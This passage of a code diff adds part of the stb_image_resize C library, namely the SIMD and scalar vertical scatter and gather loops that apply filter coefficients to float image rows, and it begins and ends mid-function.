+      stbIF0( stbir__simdfX_load( o0, output0 );     stbir__simdfX_load( o1, output0+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output0+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output0+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c0 );  stbir__simdfX_madd( o1, o1, r1, c0 );  stbir__simdfX_madd( o2, o2, r2, c0 );   stbir__simdfX_madd( o3, o3, r3, c0 );
+              stbir__simdfX_store( output0, o0 );    stbir__simdfX_store( output0+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output0+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output0+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF1( stbir__simdfX_load( o0, output1 );     stbir__simdfX_load( o1, output1+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output1+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output1+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c1 );  stbir__simdfX_madd( o1, o1, r1, c1 );  stbir__simdfX_madd( o2, o2, r2, c1 );   stbir__simdfX_madd( o3, o3, r3, c1 );
+              stbir__simdfX_store( output1, o0 );    stbir__simdfX_store( output1+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output1+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output1+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF2( stbir__simdfX_load( o0, output2 );     stbir__simdfX_load( o1, output2+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output2+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output2+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c2 );  stbir__simdfX_madd( o1, o1, r1, c2 );  stbir__simdfX_madd( o2, o2, r2, c2 );   stbir__simdfX_madd( o3, o3, r3, c2 );
+              stbir__simdfX_store( output2, o0 );    stbir__simdfX_store( output2+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output2+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output2+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF3( stbir__simdfX_load( o0, output3 );     stbir__simdfX_load( o1, output3+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output3+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output3+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c3 );  stbir__simdfX_madd( o1, o1, r1, c3 );  stbir__simdfX_madd( o2, o2, r2, c3 );   stbir__simdfX_madd( o3, o3, r3, c3 );
+              stbir__simdfX_store( output3, o0 );    stbir__simdfX_store( output3+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output3+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output3+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF4( stbir__simdfX_load( o0, output4 );     stbir__simdfX_load( o1, output4+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output4+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output4+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c4 );  stbir__simdfX_madd( o1, o1, r1, c4 );  stbir__simdfX_madd( o2, o2, r2, c4 );   stbir__simdfX_madd( o3, o3, r3, c4 );
+              stbir__simdfX_store( output4, o0 );    stbir__simdfX_store( output4+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output4+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output4+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF5( stbir__simdfX_load( o0, output5 );     stbir__simdfX_load( o1, output5+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output5+(2*stbir__simdfX_float_count));    stbir__simdfX_load( o3, output5+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c5 );  stbir__simdfX_madd( o1, o1, r1, c5 );  stbir__simdfX_madd( o2, o2, r2, c5 );   stbir__simdfX_madd( o3, o3, r3, c5 );
+              stbir__simdfX_store( output5, o0 );    stbir__simdfX_store( output5+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output5+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output5+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF6( stbir__simdfX_load( o0, output6 );     stbir__simdfX_load( o1, output6+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output6+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output6+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c6 );  stbir__simdfX_madd( o1, o1, r1, c6 );  stbir__simdfX_madd( o2, o2, r2, c6 );   stbir__simdfX_madd( o3, o3, r3, c6 );
+              stbir__simdfX_store( output6, o0 );    stbir__simdfX_store( output6+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output6+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output6+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF7( stbir__simdfX_load( o0, output7 );     stbir__simdfX_load( o1, output7+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output7+(2*stbir__simdfX_float_count) );    stbir__simdfX_load( o3, output7+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c7 );  stbir__simdfX_madd( o1, o1, r1, c7 );  stbir__simdfX_madd( o2, o2, r2, c7 );   stbir__simdfX_madd( o3, o3, r3, c7 );
+              stbir__simdfX_store( output7, o0 );    stbir__simdfX_store( output7+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output7+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output7+(3*stbir__simdfX_float_count), o3 ); )
+      #else
+      stbIF0( stbir__simdfX_mult( o0, r0, c0 );      stbir__simdfX_mult( o1, r1, c0 );      stbir__simdfX_mult( o2, r2, c0 );       stbir__simdfX_mult( o3, r3, c0 );
+              stbir__simdfX_store( output0, o0 );    stbir__simdfX_store( output0+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output0+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output0+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF1( stbir__simdfX_mult( o0, r0, c1 );      stbir__simdfX_mult( o1, r1, c1 );      stbir__simdfX_mult( o2, r2, c1 );       stbir__simdfX_mult( o3, r3, c1 );
+              stbir__simdfX_store( output1, o0 );    stbir__simdfX_store( output1+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output1+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output1+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF2( stbir__simdfX_mult( o0, r0, c2 );      stbir__simdfX_mult( o1, r1, c2 );      stbir__simdfX_mult( o2, r2, c2 );       stbir__simdfX_mult( o3, r3, c2 );
+              stbir__simdfX_store( output2, o0 );    stbir__simdfX_store( output2+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output2+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output2+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF3( stbir__simdfX_mult( o0, r0, c3 );      stbir__simdfX_mult( o1, r1, c3 );      stbir__simdfX_mult( o2, r2, c3 );       stbir__simdfX_mult( o3, r3, c3 );
+              stbir__simdfX_store( output3, o0 );    stbir__simdfX_store( output3+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output3+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output3+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF4( stbir__simdfX_mult( o0, r0, c4 );      stbir__simdfX_mult( o1, r1, c4 );      stbir__simdfX_mult( o2, r2, c4 );       stbir__simdfX_mult( o3, r3, c4 );
+              stbir__simdfX_store( output4, o0 );    stbir__simdfX_store( output4+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output4+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output4+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF5( stbir__simdfX_mult( o0, r0, c5 );      stbir__simdfX_mult( o1, r1, c5 );      stbir__simdfX_mult( o2, r2, c5 );       stbir__simdfX_mult( o3, r3, c5 );
+              stbir__simdfX_store( output5, o0 );    stbir__simdfX_store( output5+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output5+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output5+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF6( stbir__simdfX_mult( o0, r0, c6 );      stbir__simdfX_mult( o1, r1, c6 );      stbir__simdfX_mult( o2, r2, c6 );       stbir__simdfX_mult( o3, r3, c6 );
+              stbir__simdfX_store( output6, o0 );    stbir__simdfX_store( output6+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output6+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output6+(3*stbir__simdfX_float_count), o3 ); )
+      stbIF7( stbir__simdfX_mult( o0, r0, c7 );      stbir__simdfX_mult( o1, r1, c7 );      stbir__simdfX_mult( o2, r2, c7 );       stbir__simdfX_mult( o3, r3, c7 );
+              stbir__simdfX_store( output7, o0 );    stbir__simdfX_store( output7+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output7+(2*stbir__simdfX_float_count), o2 );   stbir__simdfX_store( output7+(3*stbir__simdfX_float_count), o3 ); )
+      #endif
+
+      input += (4*stbir__simdfX_float_count);
+      stbIF0( output0 += (4*stbir__simdfX_float_count); ) stbIF1( output1 += (4*stbir__simdfX_float_count); ) stbIF2( output2 += (4*stbir__simdfX_float_count); ) stbIF3( output3 += (4*stbir__simdfX_float_count); ) stbIF4( output4 += (4*stbir__simdfX_float_count); ) stbIF5( output5 += (4*stbir__simdfX_float_count); ) stbIF6( output6 += (4*stbir__simdfX_float_count); ) stbIF7( output7 += (4*stbir__simdfX_float_count); )
+    }
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    while ( ( (char*)input_end - (char*) input ) >= 16 )
+    {
+      stbir__simdf o0, r0;
+      STBIR_SIMD_NO_UNROLL(output0);
+
+      stbir__simdf_load( r0, input );
+
+      #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+      stbIF0( stbir__simdf_load( o0, output0 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c0 ) );  stbir__simdf_store( output0, o0 ); )
+      stbIF1( stbir__simdf_load( o0, output1 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c1 ) );  stbir__simdf_store( output1, o0 ); )
+      stbIF2( stbir__simdf_load( o0, output2 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c2 ) );  stbir__simdf_store( output2, o0 ); )
+      stbIF3( stbir__simdf_load( o0, output3 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c3 ) );  stbir__simdf_store( output3, o0 ); )
+      stbIF4( stbir__simdf_load( o0, output4 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c4 ) );  stbir__simdf_store( output4, o0 ); )
+      stbIF5( stbir__simdf_load( o0, output5 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c5 ) );  stbir__simdf_store( output5, o0 ); )
+      stbIF6( stbir__simdf_load( o0, output6 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c6 ) );  stbir__simdf_store( output6, o0 ); )
+      stbIF7( stbir__simdf_load( o0, output7 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c7 ) );  stbir__simdf_store( output7, o0 ); )
+      #else
+      stbIF0( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c0 ) );   stbir__simdf_store( output0, o0 ); )
+      stbIF1( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c1 ) );   stbir__simdf_store( output1, o0 ); )
+      stbIF2( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c2 ) );   stbir__simdf_store( output2, o0 ); )
+      stbIF3( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c3 ) );   stbir__simdf_store( output3, o0 ); )
+      stbIF4( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c4 ) );   stbir__simdf_store( output4, o0 ); )
+      stbIF5( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c5 ) );   stbir__simdf_store( output5, o0 ); )
+      stbIF6( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c6 ) );   stbir__simdf_store( output6, o0 ); )
+      stbIF7( stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c7 ) );   stbir__simdf_store( output7, o0 ); )
+      #endif
+
+      input += 4;
+      stbIF0( output0 += 4; ) stbIF1( output1 += 4; ) stbIF2( output2 += 4; ) stbIF3( output3 += 4; ) stbIF4( output4 += 4; ) stbIF5( output5 += 4; ) stbIF6( output6 += 4; ) stbIF7( output7 += 4; )
+    }
+  }
+  #else
+  STBIR_NO_UNROLL_LOOP_START
+  while ( ( (char*)input_end - (char*) input ) >= 16 )
+  {
+    float r0, r1, r2, r3;
+    STBIR_NO_UNROLL(input);
+
+    r0 = input[0], r1 = input[1], r2 = input[2], r3 = input[3];
+
+    #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+    stbIF0( output0[0] += ( r0 * c0s ); output0[1] += ( r1 * c0s ); output0[2] += ( r2 * c0s ); output0[3] += ( r3 * c0s ); )
+    stbIF1( output1[0] += ( r0 * c1s ); output1[1] += ( r1 * c1s ); output1[2] += ( r2 * c1s ); output1[3] += ( r3 * c1s ); )
+    stbIF2( output2[0] += ( r0 * c2s ); output2[1] += ( r1 * c2s ); output2[2] += ( r2 * c2s ); output2[3] += ( r3 * c2s ); )
+    stbIF3( output3[0] += ( r0 * c3s ); output3[1] += ( r1 * c3s ); output3[2] += ( r2 * c3s ); output3[3] += ( r3 * c3s ); )
+    stbIF4( output4[0] += ( r0 * c4s ); output4[1] += ( r1 * c4s ); output4[2] += ( r2 * c4s ); output4[3] += ( r3 * c4s ); )
+    stbIF5( output5[0] += ( r0 * c5s ); output5[1] += ( r1 * c5s ); output5[2] += ( r2 * c5s ); output5[3] += ( r3 * c5s ); )
+    stbIF6( output6[0] += ( r0 * c6s ); output6[1] += ( r1 * c6s ); output6[2] += ( r2 * c6s ); output6[3] += ( r3 * c6s ); )
+    stbIF7( output7[0] += ( r0 * c7s ); output7[1] += ( r1 * c7s ); output7[2] += ( r2 * c7s ); output7[3] += ( r3 * c7s ); )
+    #else
+    stbIF0( output0[0]  = ( r0 * c0s ); output0[1]  = ( r1 * c0s ); output0[2]  = ( r2 * c0s ); output0[3]  = ( r3 * c0s ); )
+    stbIF1( output1[0]  = ( r0 * c1s ); output1[1]  = ( r1 * c1s ); output1[2]  = ( r2 * c1s ); output1[3]  = ( r3 * c1s ); )
+    stbIF2( output2[0]  = ( r0 * c2s ); output2[1]  = ( r1 * c2s ); output2[2]  = ( r2 * c2s ); output2[3]  = ( r3 * c2s ); )
+    stbIF3( output3[0]  = ( r0 * c3s ); output3[1]  = ( r1 * c3s ); output3[2]  = ( r2 * c3s ); output3[3]  = ( r3 * c3s ); )
+    stbIF4( output4[0]  = ( r0 * c4s ); output4[1]  = ( r1 * c4s ); output4[2]  = ( r2 * c4s ); output4[3]  = ( r3 * c4s ); )
+    stbIF5( output5[0]  = ( r0 * c5s ); output5[1]  = ( r1 * c5s ); output5[2]  = ( r2 * c5s ); output5[3]  = ( r3 * c5s ); )
+    stbIF6( output6[0]  = ( r0 * c6s ); output6[1]  = ( r1 * c6s ); output6[2]  = ( r2 * c6s ); output6[3]  = ( r3 * c6s ); )
+    stbIF7( output7[0]  = ( r0 * c7s ); output7[1]  = ( r1 * c7s ); output7[2]  = ( r2 * c7s ); output7[3]  = ( r3 * c7s ); )
+    #endif
+
+    input += 4;
+    stbIF0( output0 += 4; ) stbIF1( output1 += 4; ) stbIF2( output2 += 4; ) stbIF3( output3 += 4; ) stbIF4( output4 += 4; ) stbIF5( output5 += 4; ) stbIF6( output6 += 4; ) stbIF7( output7 += 4; )
+  }
+  #endif
+  STBIR_NO_UNROLL_LOOP_START
+  while ( input < input_end )
+  {
+    float r = input[0];
+    STBIR_NO_UNROLL(output0);
+
+    #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+    stbIF0( output0[0] += ( r * c0s ); )
+    stbIF1( output1[0] += ( r * c1s ); )
+    stbIF2( output2[0] += ( r * c2s ); )
+    stbIF3( output3[0] += ( r * c3s ); )
+    stbIF4( output4[0] += ( r * c4s ); )
+    stbIF5( output5[0] += ( r * c5s ); )
+    stbIF6( output6[0] += ( r * c6s ); )
+    stbIF7( output7[0] += ( r * c7s ); )
+    #else
+    stbIF0( output0[0]  = ( r * c0s ); )
+    stbIF1( output1[0]  = ( r * c1s ); )
+    stbIF2( output2[0]  = ( r * c2s ); )
+    stbIF3( output3[0]  = ( r * c3s ); )
+    stbIF4( output4[0]  = ( r * c4s ); )
+    stbIF5( output5[0]  = ( r * c5s ); )
+    stbIF6( output6[0]  = ( r * c6s ); )
+    stbIF7( output7[0]  = ( r * c7s ); )
+    #endif
+
+    ++input;
+    stbIF0( ++output0; ) stbIF1( ++output1; ) stbIF2( ++output2; ) stbIF3( ++output3; ) stbIF4( ++output4; ) stbIF5( ++output5; ) stbIF6( ++output6; ) stbIF7( ++output7; )
+  }
+}
+
+static void STBIR_chans( stbir__vertical_gather_with_,_coeffs)( float * outputp, float const * vertical_coefficients, float const ** inputs, float const * input0_end )
+{
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = outputp;
+
+  stbIF0( float const * input0 = inputs[0]; float c0s = vertical_coefficients[0]; )
+  stbIF1( float const * input1 = inputs[1]; float c1s = vertical_coefficients[1]; )
+  stbIF2( float const * input2 = inputs[2]; float c2s = vertical_coefficients[2]; )
+  stbIF3( float const * input3 = inputs[3]; float c3s = vertical_coefficients[3]; )
+  stbIF4( float const * input4 = inputs[4]; float c4s = vertical_coefficients[4]; )
+  stbIF5( float const * input5 = inputs[5]; float c5s = vertical_coefficients[5]; )
+  stbIF6( float const * input6 = inputs[6]; float c6s = vertical_coefficients[6]; )
+  stbIF7( float const * input7 = inputs[7]; float c7s = vertical_coefficients[7]; )
+
+#if ( STBIR__vertical_channels == 1 ) && !defined(STB_IMAGE_RESIZE_VERTICAL_CONTINUE)
+  // check single channel one weight
+  if ( ( c0s >= (1.0f-0.000001f) ) && ( c0s <= (1.0f+0.000001f) ) )
+  {
+    STBIR_MEMCPY( output, input0, (char*)input0_end - (char*)input0 );
+    return;
+  }
+#endif
+
+  #ifdef STBIR_SIMD
+  {
+    stbIF0(stbir__simdfX c0 = stbir__simdf_frepX( c0s ); )
+    stbIF1(stbir__simdfX c1 = stbir__simdf_frepX( c1s ); )
+    stbIF2(stbir__simdfX c2 = stbir__simdf_frepX( c2s ); )
+    stbIF3(stbir__simdfX c3 = stbir__simdf_frepX( c3s ); )
+    stbIF4(stbir__simdfX c4 = stbir__simdf_frepX( c4s ); )
+    stbIF5(stbir__simdfX c5 = stbir__simdf_frepX( c5s ); )
+    stbIF6(stbir__simdfX c6 = stbir__simdf_frepX( c6s ); )
+    stbIF7(stbir__simdfX c7 = stbir__simdf_frepX( c7s ); )
+
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    while ( ( (char*)input0_end - (char*) input0 ) >= (16*stbir__simdfX_float_count) )
+    {
+      stbir__simdfX o0, o1, o2, o3, r0, r1, r2, r3;
+      STBIR_SIMD_NO_UNROLL(output);
+
+      // prefetch four loop iterations ahead (doesn't affect much for small resizes, but helps with big ones)
+      stbIF0( stbir__prefetch( input0 + (16*stbir__simdfX_float_count) ); )
+      stbIF1( stbir__prefetch( input1 + (16*stbir__simdfX_float_count) ); )
+      stbIF2( stbir__prefetch( input2 + (16*stbir__simdfX_float_count) ); )
+      stbIF3( stbir__prefetch( input3 + (16*stbir__simdfX_float_count) ); )
+      stbIF4( stbir__prefetch( input4 + (16*stbir__simdfX_float_count) ); )
+      stbIF5( stbir__prefetch( input5 + (16*stbir__simdfX_float_count) ); )
+      stbIF6( stbir__prefetch( input6 + (16*stbir__simdfX_float_count) ); )
+      stbIF7( stbir__prefetch( input7 + (16*stbir__simdfX_float_count) ); )
+
+      #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+      stbIF0( stbir__simdfX_load( o0, output );      stbir__simdfX_load( o1, output+stbir__simdfX_float_count );   stbir__simdfX_load( o2, output+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( o3, output+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_load( r0, input0 );      stbir__simdfX_load( r1, input0+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input0+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input0+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c0 );  stbir__simdfX_madd( o1, o1, r1, c0 );                         stbir__simdfX_madd( o2, o2, r2, c0 );                             stbir__simdfX_madd( o3, o3, r3, c0 ); )
+      #else
+      stbIF0( stbir__simdfX_load( r0, input0 );      stbir__simdfX_load( r1, input0+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input0+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input0+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_mult( o0, r0, c0 );      stbir__simdfX_mult( o1, r1, c0 );                             stbir__simdfX_mult( o2, r2, c0 );                                 stbir__simdfX_mult( o3, r3, c0 );  )
+      #endif
+
+      stbIF1( stbir__simdfX_load( r0, input1 );      stbir__simdfX_load( r1, input1+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input1+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input1+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c1 );  stbir__simdfX_madd( o1, o1, r1, c1 );                         stbir__simdfX_madd( o2, o2, r2, c1 );                             stbir__simdfX_madd( o3, o3, r3, c1 ); )
+      stbIF2( stbir__simdfX_load( r0, input2 );      stbir__simdfX_load( r1, input2+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input2+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input2+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c2 );  stbir__simdfX_madd( o1, o1, r1, c2 );                         stbir__simdfX_madd( o2, o2, r2, c2 );                             stbir__simdfX_madd( o3, o3, r3, c2 ); )
+      stbIF3( stbir__simdfX_load( r0, input3 );      stbir__simdfX_load( r1, input3+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input3+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input3+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c3 );  stbir__simdfX_madd( o1, o1, r1, c3 );                         stbir__simdfX_madd( o2, o2, r2, c3 );                             stbir__simdfX_madd( o3, o3, r3, c3 ); )
+      stbIF4( stbir__simdfX_load( r0, input4 );      stbir__simdfX_load( r1, input4+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input4+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input4+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c4 );  stbir__simdfX_madd( o1, o1, r1, c4 );                         stbir__simdfX_madd( o2, o2, r2, c4 );                             stbir__simdfX_madd( o3, o3, r3, c4 ); )
+      stbIF5( stbir__simdfX_load( r0, input5 );      stbir__simdfX_load( r1, input5+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input5+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input5+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c5 );  stbir__simdfX_madd( o1, o1, r1, c5 );                         stbir__simdfX_madd( o2, o2, r2, c5 );                             stbir__simdfX_madd( o3, o3, r3, c5 ); )
+      stbIF6( stbir__simdfX_load( r0, input6 );      stbir__simdfX_load( r1, input6+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input6+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input6+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c6 );  stbir__simdfX_madd( o1, o1, r1, c6 );                         stbir__simdfX_madd( o2, o2, r2, c6 );                             stbir__simdfX_madd( o3, o3, r3, c6 ); )
+      stbIF7( stbir__simdfX_load( r0, input7 );      stbir__simdfX_load( r1, input7+stbir__simdfX_float_count );   stbir__simdfX_load( r2, input7+(2*stbir__simdfX_float_count) );   stbir__simdfX_load( r3, input7+(3*stbir__simdfX_float_count) );
+              stbir__simdfX_madd( o0, o0, r0, c7 );  stbir__simdfX_madd( o1, o1, r1, c7 );                         stbir__simdfX_madd( o2, o2, r2, c7 );                             stbir__simdfX_madd( o3, o3, r3, c7 ); )
+
+      stbir__simdfX_store( output, o0 );             stbir__simdfX_store( output+stbir__simdfX_float_count, o1 );  stbir__simdfX_store( output+(2*stbir__simdfX_float_count), o2 );  stbir__simdfX_store( output+(3*stbir__simdfX_float_count), o3 );
+      output += (4*stbir__simdfX_float_count);
+      stbIF0( input0 += (4*stbir__simdfX_float_count); ) stbIF1( input1 += (4*stbir__simdfX_float_count); ) stbIF2( input2 += (4*stbir__simdfX_float_count); ) stbIF3( input3 += (4*stbir__simdfX_float_count); ) stbIF4( input4 += (4*stbir__simdfX_float_count); ) stbIF5( input5 += (4*stbir__simdfX_float_count); ) stbIF6( input6 += (4*stbir__simdfX_float_count); ) stbIF7( input7 += (4*stbir__simdfX_float_count); )
+    }
+
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    while ( ( (char*)input0_end - (char*) input0 ) >= 16 )
+    {
+      stbir__simdf o0, r0;
+      STBIR_SIMD_NO_UNROLL(output);
+
+      #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+      stbIF0( stbir__simdf_load( o0, output );   stbir__simdf_load( r0, input0 ); stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c0 ) ); )
+      #else
+      stbIF0( stbir__simdf_load( r0, input0 );  stbir__simdf_mult( o0, r0, stbir__if_simdf8_cast_to_simdf4( c0 ) ); )
+      #endif
+      stbIF1( stbir__simdf_load( r0, input1 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c1 ) ); )
+      stbIF2( stbir__simdf_load( r0, input2 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c2 ) ); )
+      stbIF3( stbir__simdf_load( r0, input3 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c3 ) ); )
+      stbIF4( stbir__simdf_load( r0, input4 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c4 ) ); )
+      stbIF5( stbir__simdf_load( r0, input5 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c5 ) ); )
+      stbIF6( stbir__simdf_load( r0, input6 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c6 ) ); )
+      stbIF7( stbir__simdf_load( r0, input7 );  stbir__simdf_madd( o0, o0, r0, stbir__if_simdf8_cast_to_simdf4( c7 ) ); )
+
+      stbir__simdf_store( output, o0 );
+      output += 4;
+      stbIF0( input0 += 4; ) stbIF1( input1 += 4; ) stbIF2( input2 += 4; ) stbIF3( input3 += 4; ) stbIF4( input4 += 4; ) stbIF5( input5 += 4; ) stbIF6( input6 += 4; ) stbIF7( input7 += 4; )
+    }
+  }
+  #else
+  STBIR_NO_UNROLL_LOOP_START
+  while ( ( (char*)input0_end - (char*) input0 ) >= 16 )
+  {
+    float o0, o1, o2, o3;
+    STBIR_NO_UNROLL(output);
+    #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+    stbIF0( o0 = output[0] + input0[0] * c0s; o1 = output[1] + input0[1] * c0s; o2 = output[2] + input0[2] * c0s; o3 = output[3] + input0[3] * c0s; )
+    #else
+    stbIF0( o0  = input0[0] * c0s; o1  = input0[1] * c0s; o2  = input0[2] * c0s; o3  = input0[3] * c0s; )
+    #endif
+    stbIF1( o0 += input1[0] * c1s; o1 += input1[1] * c1s; o2 += input1[2] * c1s; o3 += input1[3] * c1s; )
+    stbIF2( o0 += input2[0] * c2s; o1 += input2[1] * c2s; o2 += input2[2] * c2s; o3 += input2[3] * c2s; )
+    stbIF3( o0 += input3[0] * c3s; o1 += input3[1] * c3s; o2 += input3[2] * c3s; o3 += input3[3] * c3s; )
+    stbIF4( o0 += input4[0] * c4s; o1 += input4[1] * c4s; o2 += input4[2] * c4s; o3 += input4[3] * c4s; )
+    stbIF5( o0 += input5[0] * c5s; o1 += input5[1] * c5s; o2 += input5[2] * c5s; o3 += input5[3] * c5s; )
+    stbIF6( o0 += input6[0] * c6s; o1 += input6[1] * c6s; o2 += input6[2] * c6s; o3 += input6[3] * c6s; )
+    stbIF7( o0 += input7[0] * c7s; o1 += input7[1] * c7s; o2 += input7[2] * c7s; o3 += input7[3] * c7s; )
+    output[0] = o0; output[1] = o1; output[2] = o2; output[3] = o3;
+    output += 4;
+    stbIF0( input0 += 4; ) stbIF1( input1 += 4; ) stbIF2( input2 += 4; ) stbIF3( input3 += 4; ) stbIF4( input4 += 4; ) stbIF5( input5 += 4; ) stbIF6( input6 += 4; ) stbIF7( input7 += 4; )
+  }
+  #endif
+  STBIR_NO_UNROLL_LOOP_START
+  while ( input0 < input0_end )
+  {
+    float o0;
+    STBIR_NO_UNROLL(output);
